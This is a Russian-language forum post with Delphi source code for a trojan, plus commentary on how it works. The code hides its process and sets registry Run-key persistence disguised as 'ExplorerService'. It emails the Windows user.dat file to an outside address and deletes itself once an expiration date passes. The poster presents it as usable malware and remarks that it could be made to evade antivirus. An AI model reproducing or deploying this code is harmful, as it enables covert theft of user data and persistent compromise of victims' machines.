|
Новичок
Регистрация: 03.06.2012
Сообщений: 7
С нами:
7337846
Репутация:
0
|
|
uses
Windows,
Registry,
Mapi,
SysUtils;
procedure RegisterServiceProcess; external 'kernel32.dll' name 'RegisterServiceProcess';
procedure Hide; assembler;
asm
push 1
push 0
call RegisterServiceProcess;
end;
Reg:=TRegistry.Create;
with Reg do
begin
if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion \Run', True) then
begin
Str:=ReadString('ExplorerService');
if Str <> ParamStr(0) then WriteString('ExplorerService', ParamStr(0));
CloseKey;
OpenKey('SOFTWARE\mmuser', True);
try
if StrToDate(ReadString('DateResolve')) > Now then
begin
Send:=True;
WriteString('DateResolve', DateToStr(Now+30));
end
else
Send:=False;
if StrToDate(ReadString('DateExpiration')) <= Now then
Xapakipi:=True
else
Xapakipi:=False;
except
WriteString('DateResolve', DateToStr(Now));
WriteString('DateExpiration', DateToStr(Now+121));
end;
CloseKey;
end;
Из листинга видно, что для запуска себя после рестарта виндовза достаточно прописать путь к себе, любимому, в HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Curre ntVersion\Run. В него прописываем ключ с произвольным именем и содержанием = "путь_к_трояну". Попутно в первый раз дописываем свои параметры DateResolve, чтобы в следующий раз знать, когда нужно отсылать файлы.
Кроме DateResolve запишем и DateExpiration - дату, после которой нужно будет просто вырубиться, прибив свою тушку перед этим. Но как это сделать, если виндовз не дает доступа (удалять и перезаписывать) к файлу, из которого запущен? Можно сильно извращаться с разными параметрами или создавать BATники, но в данном случае гораздо проще сделать так:
if Xapakipi then
begin
RootKey:=HKEY_LOCAL_MACHINE;
OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion \RunOnce', True);
WriteString('LMD', 'del "'+ParamStr(0)+'"');
Send:=False;
end;
end;
Reg.Free;
if not Send then Exit;
repeat
if MAPILogon(0, nil, nil, 0, 0, @Handle) = 0 then
try
ZeroMemory(@Msg, sizeof(Msg));
with Msg do
begin
lpszNoteText:='message delivery. notification system v.01 |';
lpszSubject:=nil;
nRecipCount:=1;
GetMem(lpRecips, sizeof(TMapiRecipDesc));
ZeroMemory(lpRecips, sizeof(TMapiRecipDesc));
with lpRecips^ do
begin
ulRecipClass:=MAPI_TO;
lpszName:='Xakep';
lpszAddress:='SMTP:konung@ic.ru';
end;
nFileCount:=1;
GetMem(lpFiles, sizeof(TMapiFileDesc));
ZeroMemory(lpFiles, sizeof(TMapiFileDesc));
with lpFiles^ do
begin
GetMem(lpszPathName, 144);
GetWindowsDirectory(lpszPathName, 144);
StrCat(lpszPathName, 'user.dat');
nPosition:=StrLen(lpszNoteText)-4;
end;
MAPISendMail(Handle, 0, Msg, 0, 0);
FreeMem(lpRecips, sizeof(TMapiRecipDesc));
FreeMem(lpFiles^.lpszPathName, 144);
FreeMem(lpFiles, sizeof(TMapiFileDesc));
end;
finally
MAPILogoff(Handle, 0, 0, 0);
Exit;
end;
Sleep(3*60*1000);
until False;
Я бы это предпочел, чем эти "фэйки игры школоты", и кста этот код можно в 1000 раз сделать эффективней, чтоб не один антивирус не палил, но вирус долго не проживет, максимум 2 дня, потом на него зашиту напишут, да наверное только в этом и минус...
|